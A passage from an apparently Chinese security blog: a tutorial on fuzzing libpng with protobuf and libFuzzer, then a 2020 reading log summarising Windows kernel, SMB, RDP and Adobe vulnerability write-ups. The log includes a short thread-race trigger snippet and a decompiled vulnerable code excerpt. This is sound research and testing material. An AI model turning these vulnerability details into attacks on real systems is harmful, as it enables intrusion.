        mov      eax, 63              ; 0000003fH
        jmp      SHORT $LN1@b64_int
$LN3@b64_int:
        cmp      DWORD PTR _ch$[ebp], 61  ; 0000003dH
        jne      SHORT $LN4@b64_int
        mov      eax, 64              ; 00000040H
        jmp      SHORT $LN1@b64_int
$LN4@b64_int:
        cmp      DWORD PTR _ch$[ebp], 47  ; 0000002fH
        jbe      SHORT $LN5@b64_int
        cmp      DWORD PTR _ch$[ebp], 58  ; 0000003aH
        jae      SHORT $LN5@b64_int
        mov      eax, DWORD PTR _ch$[ebp]
        add      eax, 4
        jmp      SHORT $LN1@b64_int
$LN5@b64_int:
        cmp      DWORD PTR _ch$[ebp], 64  ; 00000040H
        jbe      SHORT $LN6@b64_int
        cmp      DWORD PTR _ch$[ebp], 91  ; 0000005bH
        jae      SHORT $LN6@b64_int
        mov      eax, DWORD PTR _ch$[ebp]
        sub      eax, 65              ; 00000041H
        jmp      SHORT $LN1@b64_int
$LN6@b64_int:
        cmp      DWORD PTR _ch$[ebp], 96  ; 00000060H
        jbe      SHORT $LN7@b64_int
        cmp      DWORD PTR _ch$[ebp], 123 ; 0000007bH
        jae      SHORT $LN7@b64_int
        mov      eax, DWORD PTR _ch$[ebp]
        sub      eax, 71              ; 00000047H
        jmp      SHORT $LN1@b64_int
$LN7@b64_int:
        xor      eax, eax
$LN1@b64_int:
        pop      ebp
        ret      0
b64_int ENDP

基于protobuf构建fuzzer(libpng)

基于protobuf构建fuzzer(libpng)

前段时间谷歌出了个文章Structure-Aware Fuzzing with libFuzzer,其中说到了利用protobuf来构建fuzzerfuzzing libpng库,并且给出了现成的libpng-proto的测试样例代码。

中文目前没有搜到如何利用这种方式来写fuzzer的文章,
所以自己就分析一下这种构建fuzzer的方法,作为一个fuzzing小白就当学习了
文章主要通过三步来完成整个fuzzing过程

1. protobuf简单介绍
2. 利用protobuf构建png数据
3. 利用libfuzzer引擎测试生成的数据

protobuf简介

Protocol Buffers(简称Protobuf) ,是Google出品的序列化框架,与开发语言无关,和平台无关,具有良好的可扩展性。Protobuf和所有的序列化框架一样,都可以用于数据存储、通讯协议。

废话不多说,直接上测试案例,简化一下官方给的例子测试一下test.proto,其中定义了一个Person的数据结构

syntax = "proto2";

package tutorial;

message Person {
  required string name = 1;
  required int32 id = 2;
  optional string email = 3;
}

编译

protoc --cpp_out=./ ./test.proto

生成

1554816421563

其实就是protobuf定义数据结构,之后通过编译器生成特定类型数据结构比如c++/python/php

利用protobuf构建png数据结构

首先来看一下png图片的数据结构

+------------+
|   署名域    |
+------------+
|    IHDR    |
+------------+
| IDATs/other|
+------------+
|    IEND    |
+------------+

来看一下官方文档给的结构

结构1

1554817464456

结构2

1554817495191

再来看看谷歌给出的proto

syntax = "proto2";
// Very simple proto description of the PNG format,
// described at https://en.wikipedia.org/wiki/Portable_Network_Graphics

message IHDR {
  required uint32 width = 1;
  required uint32 height = 2;
  required uint32 other1 = 3;
  required uint32 other2 = 4;  // Only 1 byte used.
}

message PLTE {
  required bytes data = 1;
}

message IDAT {
  required bytes data = 1;
}

message iCCP  {
  required bytes data = 2;
}

message OtherChunk {
  oneof type {
    uint32 known_type = 1;
    uint32 unknown_type = 2;
  }
  required bytes data = 3;
}

message PngChunk {
  oneof chunk {
    PLTE plte = 1;
    IDAT idat = 2;
    iCCP iccp = 3;
    OtherChunk other_chunk = 10000;
  }
}

message PngProto {
  required IHDR ihdr = 1;
  repeated PngChunk chunks = 2;
}

// package fuzzer_examples;

基本简单囊括了两种结构,现在来编译生成

protoc --cpp_out=./ ./png_fuzz_proto.proto

结果

1554948164507

使用libfuzzer+protobuf进行fuzzing

现在利用protobuf生成了png构成的数据结构,现在需要做的大概可以分为两部分

1. 读取png数据并利用protobuf读取并做更改 
2. 利用libfuzzer引擎做fuzzing测试

其实第一部分,我个人理解就是在自己写一个整套fuzzer了,来看看具体操作

// Chunk is written as:
//  * 4-byte length
//  * 4-byte type
//  * the data itself
//  * 4-byte crc (of type and data)
static void WriteChunk(std::stringstream &out, const char *type,
                       const std::string &chunk, bool compress = false)
{
    std::string compressed;
    const std::string *s = &chunk;
    if (compress)
    {
        compressed = Compress(chunk);
        s = &compressed;
    }
    uint32_t len = s->size();
    uint32_t crc = crc32(crc32(0, (const unsigned char *)type, 4),
                         (const unsigned char *)s->data(), s->size());
    WriteInt(out, len);
    out.write(type, 4);
    out.write(s->data(), s->size());
    WriteInt(out, crc);
}

// 将proto 做更改后转化为png数据
std::string ProtoToPng(const PngProto &png_proto)
{
    std::stringstream all;
    const unsigned char header[] = {0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a};
    all.write((const char *)header, sizeof(header));
    std::stringstream ihdr_str;
    auto &ihdr = png_proto.ihdr();
    // Avoid large images.
    // They may have interesting bugs, but OOMs are going to kill fuzzing.
    uint32_t w = std::min(ihdr.width(), 4096U);
    uint32_t h = std::min(ihdr.height(), 4096U);
    WriteInt(ihdr_str, w);
    WriteInt(ihdr_str, h);
    WriteInt(ihdr_str, ihdr.other1());
    WriteByte(ihdr_str, ihdr.other2());
    WriteChunk(all, "IHDR", ihdr_str.str());

    // 写入各个chunk
    for (size_t i = 0, n = png_proto.chunks_size(); i < n; i++)
    {
        auto &chunk = png_proto.chunks(i);
        if (chunk.has_plte())
        {
            WriteChunk(all, "PLTE", chunk.plte().data());
        }
        else if (chunk.has_idat())
        {
            WriteChunk(all, "IDAT", chunk.idat().data(), true);
        }
        else if (chunk.has_iccp())
        {
            std::stringstream iccp_str;
            iccp_str << "xyz"; // don't fuzz iCCP name field.
            WriteByte(iccp_str, 0);
            WriteByte(iccp_str, 0);
            auto compressed_data = Compress(chunk.iccp().data());
            iccp_str.write(compressed_data.data(), compressed_data.size());
            WriteChunk(all, "iCCP", iccp_str.str());
        }
        else if (chunk.has_other_chunk())
        {
            auto &other_chunk = chunk.other_chunk();
            char type[5] = {0};
            if (other_chunk.has_known_type())
            {
                static const char *known_chunks[] = {
                    "bKGD",
                    "cHRM",
                    "dSIG",
                    "eXIf",
                    "gAMA",
                    "hIST",
                    "iCCP",
                    "iTXt",
                    "pHYs",
                    "sBIT",
                    "sPLT",
                    "sRGB",
                    "sTER",
                    "tEXt",
                    "tIME",
                    "tRNS",
                    "zTXt",
                    "sCAL",
                    "pCAL",
                    "oFFs",
                };
                size_t known_chunks_size =
                    sizeof(known_chunks) / sizeof(known_chunks[0]);
                size_t chunk_idx = other_chunk.known_type() % known_chunks_size;
                memcpy(type, known_chunks[chunk_idx], 4);
            }
            else if (other_chunk.has_unknown_type())
            {
                uint32_t unknown_type_int = other_chunk.unknown_type();
                memcpy(type, &unknown_type_int, 4);
            }
            else
            {
                continue;
            }
            type[4] = 0;
            WriteChunk(all, type, other_chunk.data());
        }
    }
    WriteChunk(all, "IEND", "");

    std::string res = all.str();
    if (const char *dump_path = getenv("PROTO_FUZZER_DUMP_PATH"))
    {
        // With libFuzzer binary run this to generate a PNG file x.png:
        // PROTO_FUZZER_DUMP_PATH=x.png ./a.out proto-input
        std::ofstream of(dump_path);
        of.write(res.data(), res.size());
    }
    return res;
}

到这里第一部分,即fuzzer部分算是完成了,现在缺少的是使用libfuzzer进行fuzzing的代码

#define PNG_INTERNAL
#include "png.h"

#define PNG_CLEANUP \
  if(png_handler.png_ptr) \
  { \
    if (png_handler.row_ptr) \
      png_free(png_handler.png_ptr, png_handler.row_ptr); \
    if (png_handler.end_info_ptr) \
      png_destroy_read_struct(&png_handler.png_ptr, &png_handler.info_ptr,\
        &png_handler.end_info_ptr); \
    else if (png_handler.info_ptr) \
      png_destroy_read_struct(&png_handler.png_ptr, &png_handler.info_ptr,\
        nullptr); \
    else \
      png_destroy_read_struct(&png_handler.png_ptr, nullptr, nullptr); \
    png_handler.png_ptr = nullptr; \
    png_handler.row_ptr = nullptr; \
    png_handler.info_ptr = nullptr; \
    png_handler.end_info_ptr = nullptr; \
  }

struct BufState {
  const uint8_t* data;
  size_t bytes_left;
};

struct PngObjectHandler {
  png_infop info_ptr = nullptr;
  png_structp png_ptr = nullptr;
  png_infop end_info_ptr = nullptr;
  png_voidp row_ptr = nullptr;
  BufState* buf_state = nullptr;

  ~PngObjectHandler() {
    if (row_ptr)
      png_free(png_ptr, row_ptr);
    if (end_info_ptr)
      png_destroy_read_struct(&png_ptr, &info_ptr, &end_info_ptr);
    else if (info_ptr) 
      png_destroy_read_struct(&png_ptr, &info_ptr, nullptr);
    else
      png_destroy_read_struct(&png_ptr, nullptr, nullptr);
    delete buf_state;
  }
};

void user_read_data(png_structp png_ptr, png_bytep data, size_t length) {
  BufState* buf_state = static_cast<BufState*>(png_get_io_ptr(png_ptr));
  if (length > buf_state->bytes_left) {
    png_error(png_ptr, "read error");
  }
  memcpy(data, buf_state->data, length);
  buf_state->bytes_left -= length;
  buf_state->data += length;
}

static const int kPngHeaderSize = 8;

// Entry point for LibFuzzer.
// Roughly follows the libpng book example:
// http://www.libpng.org/pub/png/book/chapter13.html
extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
  if (size < kPngHeaderSize) {
    return 0;
  }

  std::vector<unsigned char> v(data, data + size);
  if (png_sig_cmp(v.data(), 0, kPngHeaderSize)) {
    // not a PNG.
    return 0;
  }

  PngObjectHandler png_handler;
  png_handler.png_ptr = nullptr;
  png_handler.row_ptr = nullptr;
  png_handler.info_ptr = nullptr;
  png_handler.end_info_ptr = nullptr;

  png_handler.png_ptr = png_create_read_struct
    (PNG_LIBPNG_VER_STRING, nullptr, nullptr, nullptr);
  if (!png_handler.png_ptr) {
    return 0;
  }

  png_handler.info_ptr = png_create_info_struct(png_handler.png_ptr);
  if (!png_handler.info_ptr) {
    PNG_CLEANUP
    return 0;
  }

  png_handler.end_info_ptr = png_create_info_struct(png_handler.png_ptr);
  if (!png_handler.end_info_ptr) {
    PNG_CLEANUP
    return 0;
  }

  png_set_crc_action(png_handler.png_ptr, PNG_CRC_QUIET_USE, PNG_CRC_QUIET_USE);
#ifdef PNG_IGNORE_ADLER32
  png_set_option(png_handler.png_ptr, PNG_IGNORE_ADLER32, PNG_OPTION_ON);
#endif

  // Setting up reading from buffer.
  png_handler.buf_state = new BufState();
  png_handler.buf_state->data = data + kPngHeaderSize;
  png_handler.buf_state->bytes_left = size - kPngHeaderSize;
  png_set_read_fn(png_handler.png_ptr, png_handler.buf_state, user_read_data);
  png_set_sig_bytes(png_handler.png_ptr, kPngHeaderSize);

  if (setjmp(png_jmpbuf(png_handler.png_ptr))) {
    PNG_CLEANUP
    return 0;
  }

  // Reading.
  png_read_info(png_handler.png_ptr, png_handler.info_ptr);

  // reset error handler to put png_deleter into scope.
  if (setjmp(png_jmpbuf(png_handler.png_ptr))) {
    PNG_CLEANUP
    return 0;
  }

  png_uint_32 width, height;
  int bit_depth, color_type, interlace_type, compression_type;
  int filter_type;

  if (!png_get_IHDR(png_handler.png_ptr, png_handler.info_ptr, &width,
                    &height, &bit_depth, &color_type, &interlace_type,
                    &compression_type, &filter_type)) {
    PNG_CLEANUP
    return 0;
  }

  // This is going to be too slow.
  if (width && height > 100000000 / width) {
    PNG_CLEANUP
    return 0;
  }

  // Set several transforms that browsers typically use:
  png_set_gray_to_rgb(png_handler.png_ptr);
  png_set_expand(png_handler.png_ptr);
  png_set_packing(png_handler.png_ptr);
  png_set_scale_16(png_handler.png_ptr);
  png_set_tRNS_to_alpha(png_handler.png_ptr);

  int passes = png_set_interlace_handling(png_handler.png_ptr);

  png_read_update_info(png_handler.png_ptr, png_handler.info_ptr);

  png_handler.row_ptr = png_malloc(
      png_handler.png_ptr, png_get_rowbytes(png_handler.png_ptr,
                                            png_handler.info_ptr));

  for (int pass = 0; pass < passes; ++pass) {
    for (png_uint_32 y = 0; y < height; ++y) {
      png_read_row(png_handler.png_ptr,
                   static_cast<png_bytep>(png_handler.row_ptr), nullptr);
    }
  }

  png_read_end(png_handler.png_ptr, png_handler.end_info_ptr);

  PNG_CLEANUP
  return 0;
}

利用Makefile,尝试编译执行

CXX=clang++
HEADERS= -I oss-fuzz/projects/libpng-proto -I ./libprotobuf-mutator 

all: libpng_read_fuzzer.o png_proto_fuzzer_example.o png_fuzz_proto.pb.o
	$(CXX) -g $^ \
	build/src/libfuzzer/libprotobuf-mutator-libfuzzer.a \
	build/src/libprotobuf-mutator.a \
	protobuf/src/.libs/libprotobuf.a \
	libpng/libpng16.a \
	-fsanitize=fuzzer \
	-lz \
	-o proto_fuzzer_test
	
libpng_read_fuzzer.o: libpng/contrib/oss-fuzz/libpng_read_fuzzer.cc
	$(CXX) -g -c $(HEADERS) -DLLVMFuzzerTestOneInput=FuzzPNG $^

png_proto_fuzzer_example.o: oss-fuzz/projects/libpng-proto/png_proto_fuzzer_example.cc
	$(CXX) -g -c $(HEADERS) $^

png_fuzz_proto.pb.o: oss-fuzz/projects/libpng-proto/png_fuzz_proto.pb.cc
	$(CXX) -g -c $(HEADERS) $^
	

但是会遇到错误

1555315824964

为了解决这个问题,把oss-fuzzdocs都过了一遍,发现我这么构建确实存在问题,而且官方也不推荐使用这种方式构建,建议使用
python infra/helper.py脚本构建,整个过程更加的顺畅。

git clone https://github.com/google/oss-fuzz
cd oss-fuzz
python infra/helper.py build_image libpng-proto
python infra/helper.py build_fuzzers libpng-proto
python infra/helper.py run_fuzzer libpng-proto png_proto_fuzzer_example

效果

1555316153831

总结

首先,为什么png适合使用protobuf来构建fuzzer呢?
理由,我总结应该主要有

1. png结构相对简单
2. fuzzing更加高效
   png各个chunk的数据在处理过程中有个crc校验,我们直接使用libfuzzer进行fuzzing,不是不可以,只是可能会比较低效甚至无用,因为更改某个chunk数据之后,libpng在使用crc校验会过不了,导致后面我们想fuzz的很多函数根本不会执行
3. 构造fuzzer难度降低

谷歌提供了一种比较特别的方式来构建fuzzer,即使用protobuf为基础来构建fuzzer。我个人感觉,fuzzer一般在整个fuzzing过程中,是最难的部分,但是利用protobuf,理论上只要数据结构能用protobuf表示,那么就可以利用该方法进行fuzzing,这种方式极大的降低了自己写一整套fuzzer的难度。
最后,第一次接触这类的fuzzer构建方法,对fuzzing的理解也不是很全面,难免会出现各种各样的错误,欢迎批评指正。

参考

google's protobuf

Google Protocol Buffer 的使用和原理

libpng-proto

png格式官方文档

oss-fuzz

ReadDaily [2020]

ReadDaily

TaskList

  • 20200430 堆风水+CreateBitMap windows内核漏洞利用方式
  • 20200429 windows search 多线程竟态引起的漏洞
  • 20200503 ThunderJ师傅的CVE-2015-0057 windows内核利用
  • dharma 基于语法的fuzz方式的学习(可以结合radamsa学习)
  • 小刀师傅的桌面内核漏洞系列
  • KeLiu 师傅的adobe pdf漏洞,js脚本的利用

HEVD内核漏洞系列练习

环境搭建 20200911

20201202

TLS网络安全协议学习

一篇特别好的,学习tls协议的文章,正好公司最近在做这部分的fuzz工作,很有用,还有就是其提供的tls协议学习网站

20201201

Dynamic Binary Instrumentation Primer

花了几天时间,断断续续利用业余时间看完了,文章非常长,主要是利用intel的pin和dynamorio做动态分析,其中包含的代码覆盖率检测部分对于研究fuzzing很有用,再有就是dynamorio部分的tracerwrap了,wrapfuzz windows gui程序可能会比较有用,这里我加入到了自己的xfuzzer程序中

20201006

Fuzzing ImageIO

今天重读了pj0的文章,发现他是自己写的一个简单的利用idapython得到代码块数据,之后利用patch版本honggfuzz去测试mac下的闭源软件,现在有比这个好的解决方案,tinyinst

20200910

Writing an OS in Rust

利用Rust写一个操作系统,Rust本身我不怎么会,就是照葫芦画瓢的做了一遍,主要是读一读其中涉及到操作系统部分的实操,具体rust的细节可以不考虑,目前来看还挺有意思的

  • A Freestanding Rust Binary
  • A Minimal Rust Kernel
  • VGA Text Mode
  • Testing
  • CPU Exceptions Reading

20200908

Ghostscript SAFER Sandbox Breakout (CVE-2020-15900)

在前人的基础上fuzz,只是单纯的添加了运算的字典,就fuzz出了不一样的结果,很有启发

20200817

Breeding Sandworms: How To Fuzz Your Way Out of Adobe Reader's Sandbox

文中介绍了sandbox process 和 broker process之间是什么,两者什么关系,以及如何工作的,对于理解沙盒进程是一篇比较好的论文,之后介绍了如何使用python fuzz IPC message

20200813

Barbervisor: Journey developing a snapshot fuzzer with Intel VT-x

一篇关于使用snapshot系统,之后去fuzz的文章,只能看懂文章的一部分而,但是文章中给的一些资料还是很好的,比如使用rust写一个系统内核,作为自己底层知识的拓展都极有好处

202020618

Using Frida For Windows Reverse Engineering

利用frida分析windows平台的恶意软件,这种用法我是第一次看到,没有具体用过,这种直接hook的方式,不知道比我自己写hook函数的方式会不会更加方便,而且不知道各种反调试能不能绕过,如果这类做不到的话,应该是比较鸡肋的

20200615

UDP通信程序的fuzz思路与CVE-2018-18066分析

stdin转化为网络输入,这种情况,在程序比较简单时,有用,如果程序过于复杂,就没法这么改,到时需要用到python相关的fuzz库,比如boofuzz等

20200609

google TinyInst

一个简化版的dynamiicrio,大概的用法知道了,但是缺少实际应用的例子,这里实际的例子是指用于漏洞挖掘中的,我在github上提了一个issue,但是作者提供的是库的用法,以后出现了用法,再补充

20200606

浅谈通过推特获取威胁情报

文章主要说的是,通过twitter搜索一些恶意软件的信息,包括一些搜索的技巧,很实用

20200604

Frida-Fuzzer:一款针对API的内存模糊测试框架

github库 一款andriod API库的测试工具

一个给新手进阶的IAT加密壳

一篇详细讲解IAT加密壳的文章,包括了整个壳的加密过程,最好的就是最后给出了源码

针对当前微软堆栈保护绕过进行漏洞挖掘三例

文章针对目前微软采取的堆栈漏洞防护进行了简单的叙述,最主要的是最后的三个绕过案例

CVE-2015-0010:
这个漏洞存在于cng.sys模块中,该模块是微软的内核密码学驱动模块,里面包含了开放给其它内核驱动和用户模式程序的控制功能。在使用特殊的控制代码进行访问时,它会返回特定的函数接口地址,以便用户进行相关的密码学操作,而无需自己从头实现这些代码,本来这些功能应该仅开放给内核模式代码,但在cng模块的早期实现中,这些功能同时可以被内核和用户模式代码调用,这样就出现了问题。这种类型的信息泄露并没有利用内核栈上的未初始化变量,但依然能够获得特定内核变量的地址,成功实现了内核的信息泄露

CVE-2019-1071:
这个漏洞利用了内核结构体的联合功能(union)定义,用户之所以定义联合体,其本意是为了节省内存,可是在特定的情况下,却成了危险的来源。

CVE-2019-1436:
这个漏洞利用了函数的返回值未被置空的bug。在内核函数调用的时候,部分函数的返回值被定义为VOID, 表明它不返回任何有效的结果,系统仅仅利用了函数的执行过程。

20200601

Fuzzing workflows a fuzz job from start to finish

文章中说了fuzzing过程中最主要的三要素

  1. 是否存在样例代码
  2. 是否能够自己编译
  3. 是否存在可用的测试样例

afl-showmap的使用
在测试前,afl-cmainafl-tmin使用的必要性,使用screen启动afl等一些实用技巧
还有不断重复mini化的过程,作为afl入门文章,质量还是比较高的
作者也给出了相关的项目代码

20200526

微软SMBv3客户端/服务端远程代码执行漏洞(CVE-2020-0796)技术分析

smb v3整数溢出漏洞,溢出点在于,两个数据长度相加没有检查边界值,如果溢出导致越界读写,最后产生了RCE

Header = *(COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(v2 + 0x18);// [v2+0x18]中为客户端传进来的Buffer
                                                // [v2+0x24]为数据包长度
  v4 = _mm_srli_si128((__m128i)Header, 8);
  CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(pData + 0x50) + 0x1F0i64) + 0x8Ci64);
  if ( CompressionAlgorithm != v4.m128i_u16[0] )
    return 0xC00000BBi64;  
// OriginalCompressedSegmentSize + CompressedSegmentSize,这里没有检查相加的值,导致整数溢出,分配一个较小的UnCompressBuffer             
  UnCompressBuffer = SrvNetAllocateBuffer((unsigned int)(Header.OriginalCompressedSegmentSize + v4.m128i_i32[1]), 0i64);

跟checkpoint的rdp整数溢出漏洞基本一样,两个数值相加,没有进行合法性检查,整数溢出导致RCE
这类漏洞单纯依靠逆向可以发现,但是难度极大,感觉fuzzing也是可以的,就是不知道具体用什么样的fuzz方式

Let's get things going with basics of file parsers fuzzing

一个类似于bff的传统fuzzer,感觉肯定是没有bff强,这类的传统fuzzer自我感觉主要可以用在比如.net java这种无法使用afl的软件中,如果可以使用DynamoRIO监控code-coverage的,肯定不用这种的,效率太低了。但是看ke liu大佬,他们找adobe reader的漏洞就是使用traditional fuzzer,不知道他们的fuzzer是不是经过特殊的优化,否则自我感觉肯定不行

20200525

Start fuzzing, Fuzz various image viewers

群里lindln的文章,主要说的是利用winafl fuzz一个图片库,整个文章就最后一个部分需要注意一下,他提到了使用loadlibrary直接载入导致整个过程不稳定,最后通过lief静态更改pe实现提速,并且稳定了整个fuzzing

20200522

Adding AFL Bloom Filter to Domato for Fun

给domato添加犹如afl的反馈机制

20200521

Fuzzing TCP Servers

说的是使用honggfuzz测试tcp服务器的技术,主要用到了其中的netdriver,作者说这个具有普遍的通用性,而且最后给出了测试步骤,用的是apache的httpd,不知道这类的能不能测试像libev和libuv这种框架写的服务组件,能的话,对我目前的研究就帮助太大了

20200520

honggfuzz-v2.X版本变异策略及const_feedback特性分析

honggfuzz 2.x版本变异策略研究,文章很水,主要是可以研究是否能够移植变异代码

20200519

Extracting a 19 Year Old Code Execution from WinRAR

又是一篇checkpoint的path traversal漏洞
关键点在于其整个fuzz过程中遇到的问题,其中的解决方法

文件格式
检验
patched检验

目前没有完全看完,看完细述

20200518

Reverse RDP – The Path Not Taken

依然是windows RDP的漏洞,主要是windows路径规范函数PathCchCanonicalize导致的路径穿越漏洞。windows的路径穿越漏洞,我是第一次看到案例,也不知道这类漏洞怎么利用,看到了可以关注一下。这个文章主要是思路很有意思,在一个函数中发现了漏洞,延伸一下,就有可能在所谓的安全函数中同样发现漏洞,而且只要是利用了这个函数的客户端都有这个洞,可以利用github搜一波,搜一下还真不少,可以挖一波
还有一点的就是,即使是官方api有漏洞,但是牛逼的程序员,依然可以通过编码check避免这个洞,真的强

20200517

How a double-free bug in WhatsApp turns to RCE

安卓whatapp下 double free漏洞到 RCE,这种通信工具预览解析的漏洞,应该挺多的,包括微信,钉钉等等,应该都有这类漏洞,安卓下的洞,我不熟悉,权当记录学习

whatapp漏洞ios环境搭建

20200514

win32k.sys漏洞挖掘思路解读

win32k内核模块的漏洞挖掘思路,跟小刀师傅的文章类似,都是windows窗口造成的漏洞。只是标题起的太大了,中文文章的通病。要是想挖该模块的洞,可以细读,文中绕过了现在两个主要的防护措施,锁,计数计时。这种漏洞,感觉应该有fuzz的方法,因为是在callback的时候出问题。可能bochs?

20200513

使用Bff fuzz nitro pdf

第一次看到使用bff挖到漏洞的,而且作者还说了他使用winafl,没挖到,用这个随随便便就挖到了很多了crash,找机会试一下

20200512

How to fuzz a server with American Fuzzy Lop

使用AFL的persistent mode fuzz kdot udp数据流,选取的目标是select函数,文章中提到的原始代码已经找不到了,但是可以在github上找到优化过后的一点影子udp-handler,我最近在研究这些,但是这里写的太粗了

20200510

Fuzzing ImageIO

最近忙着自己的新研究项目,有点忙,没有来得及更新阅读文章,主要是阅读的比较松散。
P0的文章,这个文章说的是fuzz闭源的macos下的imageio库,我看了一下文中提到的代码,愣是没看明白,这个老兄到底说的方法是啥,怎么还会用到代码块呢,由于睡前看的,没有看的特别细,等有时间详细看一下,感觉那个idapython的脚本可能会挺有启发的

20200506

Bugs on the Windshield: Fuzzing the Windows Kernel

checkpoint又放大招了,内容含量特别巨大,等以后遇到相关主题,再回来慢慢消化吧。把大概说一下,主要说Windows kernel fuzz,说了两种fuzz方式,一种kAFL,一种Syscall,kAFL可以理解,但是Syscall没有用过,暂时还不知道,下次留意。整个分析流程俩字,丝滑。文章唯一的遗憾是没有给出测试代码😭

20200505

Reverse RDP Attack: Code Execution on RDP Clients

checkpoint调查的几个RDP客户端

rdesktop:没有验证直接读stream长度

image

rdesktop:整数溢出

image

FreeRDP:整数溢出

image

可以发现前两种rdp客户端的这类漏洞逻辑,都是在处理接受的的数据流时,判断不严导致的漏洞,这类漏洞其实理论上来说很好找,只要使用ida跑一遍,之后再查看每个这类的实现代码即可,关键在于耐性研究,难度不大
网络数据流的漏洞寻找基本就2条

Robust input checks.
Robust decompression checks, to guarantee that no byte will be written past the destination buffer.

最后一个微软自带的rdp客户端漏洞属于目录穿越,主要在于这个函数

BOOL PathCanonicalizeA(
  LPSTR  pszBuf,
  LPCSTR pszPath
);

具体的逻辑的话,目前就不深究了,上面的几个案例已经让我获益匪浅了。

20200504

afl+preeny实现对交互应用的fuzz

afl+preeny在fuzz上的使用,文章说的太过简单了,没有交代为什么要用preeny,我能够直接更改wget代码去输入一些东西,为啥还要用preeny呢?等以后遇到了更好的案例再回来研究一下吧

IMPLEMENTING FUZZ LOGICS WITH DHARMA

ZDImrpowell的关于dharma的文章,文章里面使用的案例是基于pdfjs api语法生产的javascriptfuzz foxit reader,文章是19年1月的,时间优点远了,那时候应该泉哥的那种方法还没有开始用,但我觉得这种方法肯定是没有泉哥提到的直接利用domatofuzz来的效果好。但是优点就是语法可以我们自己定义,算是很好的一个学习dharma的文章吧。dharma我没有用过,不知道这类基于语法的fuzzer能不能用于特定的文件格式,因为我近期主要的fuzz格式依然还是文件格式,可以适当做一下尝试

20200503

CVE-2015-0057:从Windows内核UAF到内核桌面堆分配

ThunderJ师傅的文章,他和小刀师傅的文章一样,说的比较详细,不一样的就是,小刀师傅的比较晦涩难懂,这个师傅的文章要稍微浅显一点。这篇文章说的也是windows内核漏洞利用的。其中的bypass heap cookiebypass SMEP的技术点是以前看文章出现,但是说的不详细的部分。对于Windows内核部分的漏洞利用是很好的学习资料。

20200430

MS16-098-整数溢出与pool feng shui

经典的堆风水+CreateBitMap的漏洞利用方法。从开始的整数溢出,到缓冲区溢出,再通过CreateBitMap任意地址读写,这种方法我经常在别人的内核代码poc/exploit中看到,头一次看到这种详细讲解的,很给力。加入CheckList,学习一波

CVE-2017-8543 Windows Search漏洞分析及POC关键部分

同样是Windows Search服务的远程代码执行漏洞,漏洞的核心流程在这

image

这种自定义协议的交互过程,这类漏洞是如何发现的呢?其实这类漏洞的溢出的原理基本都是大相径庭的,这类的是通过纯人工逆向还是通过网络协议fuzz,我一直搞不懂,如果以后能够遇到说这类漏洞发现过程的,一定得好好学习一下。还有就是如何交互式的更改流量,能够自动化?都是很有价值的问题和研究方向。

20200429

Analyzing a Windows Search Indexer LPE bug

上次在看20200421文章的最后提到了竞态条件引起的漏洞,苦于没有案例,这个文章的漏洞就是这个案例。

image

first fetch根据共享内存pszURL的长度分配内存,second fetch根据共享内存pszURL的长度写入数据,如果pszURL不是共享内存,那么就没有任何问题,问题出在两次操作,没有对这个内存lock,导致firstsecond如果存在race condition,就会出现堆溢出,可以发现通过两个线程来读写,立马就能发现问题

DWORD __stdcall thread_putter(LPVOID param)
{
	ISearchManager *pSearchManager = (ISearchManager*)param;
	while (1) {
		pSearchManager->put_RootURL(L"AA");
		pSearchManager->put_RootURL(L"AAAAAAAAAA");
	}
	return 0;
}

DWORD __stdcall thread_getter(LPVOID param)
{
	ISearchRoot *pISearchRoot = (ISearchRoot*)param;
	PWSTR get_pszUrl;
	while (1) {
		pISearchRoot->get_RootURL(&get_pszUrl);
	}
	return 0;
}

20200428

今晚一直调试这个shadowsocksr-native混淆验证auth.c存在基于堆的越界写漏洞,没来得及阅读😭

20200427

CVE-2020-12138 Exploit Proof-of-Concept, Privilege Escalation in ATI Technologies Inc. Driver atillk64.sys

第一次看到这么详细如何写windows内核exploit的,其中说了如何从普通权限到system提权,分析了驱动处理流程,分析了如何分配内存进行exploit,非常好,而且文中涉及到的几个文章,质量也特别高,这个应该排在小刀师傅文章前面学习,可以作为系列学习

20200426

LibreSSL and OSS-Fuzz

文章说的是将oss-fuzz整合进LibreSSL发现了几个洞,很遗憾,我去年年末的时候,打算测这个库的,但是windows上需要测的太多了就耽误了,谁知道有这么多洞,以后真得注意了,很多库随便测测真的能测出不少东西,文章技术性的东西不多,给自己个警示

Adobe reader pdf调试技巧

主要介绍了adobeplugin机制和Javascript机制,最后调试javascript的方法,以后在学习Adobe相关漏洞应该很有用,可以作为参考资料

20200423

今天本来是打算读文章的,临时fuzz出现了一个crash,由于很蛋疼的原因,必须尽早分析,就分析了一晚上,最后最有意思的是,crash是由于代码在解析pe的时候因为IMAGE_SECTION_HEADERVirtualAddressSizeOfRawData过滤不严所导致,给我的感觉,是在分析样本😂,只是这个是64位环境下的,pe几个header稍微有点不同,我平时很少分析64位样本,pe 64 header准备不足,浪费了一点时间。如果有机会,可以分享一下具体的crash细节

20200422

CVE-2019-1215 Analysis of a Use After Free in ws2ifsl

内核UAF漏洞,文章的重点在于how to bypass kASLR, kCFG and SMEP

内核漏洞利用的文章就具体看过小刀师傅的从 CVE-2017-0263 漏洞分析到 Windows 菜单管理组件,小刀师傅说的是Windows特别复杂的菜单管理组件的double free漏洞,我到现在也才实验到poc阶段,exploit依然还是没懂,小刀师傅文章说的是特别详细,但是由于菜单组件太难了,啃着实验太恶心了

这篇文章比起小刀师傅的那个double free无论是从理解还是利用都简单很多,double free利用的是菜单组件的procedure

文章中利用named pipes进行的heap spray也特别有意思,很值得好好学习一下。因为目前能够正常exploitwindows环境也就kernel和使用js脚本类的比如pdf reader,浏览器这种的了。所以这两个方向碰到的exploit文章,能细看就尽力细看,能实验尽力实验

深入分析Adobe忽略了6年的PDF漏洞

读这个之前可以把这个文章Adobe Reader BMP/RLE heap corruption - CVE-2013-2729
也看一下,说的是在分析bitmap图片中造成的漏洞,因为我自己也挖到了几个windows bitmap图片处理的漏洞,所以对这类漏洞还是很感兴趣的
无论是CVE-2019-8014,还是CVE-2013-2729,都是由于整数溢出导致堆的任意地址可读写,进而达到RCE,这两篇文章有几个知识点,可以补充自己目前的短板

1. 整数溢出漏洞分析
2. 堆任意地址读写到RCE
3. pdf文件javascript的漏洞利用

